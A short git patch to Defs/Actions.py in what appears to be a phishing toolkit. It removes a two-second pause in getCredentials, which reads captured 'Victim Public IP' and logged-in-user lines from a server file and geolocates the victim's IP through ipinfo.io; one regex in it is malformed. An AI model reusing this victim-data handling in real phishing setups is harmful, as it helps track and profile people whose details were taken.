From 47ea8d7ed1957b37a6d23b0f7c031567f7a6e27b Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 25 May 2019 12:52:20 +0500 Subject: [PATCH] Update Actions.py --- Defs/Actions.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/Defs/Actions.py b/Defs/Actions.py index 19a5461..63aa4f5 100644 --- a/Defs/Actions.py +++ b/Defs/Actions.py @@ -545,8 +545,7 @@ def getCredentials(): with open('Server/www/ip.txt') as creds: lines = creds.read().rstrip() - if len(lines) != 0: - sleep(2) + if len(lines) != 0: ip = re.match('Victim Public IP: (.*?)\n', lines).group(1) user = re.match('Current logged in user: (a-z0-9)\n', lines) resp = urlopen('https://ipinfo.io/{0}/json'.format(ip))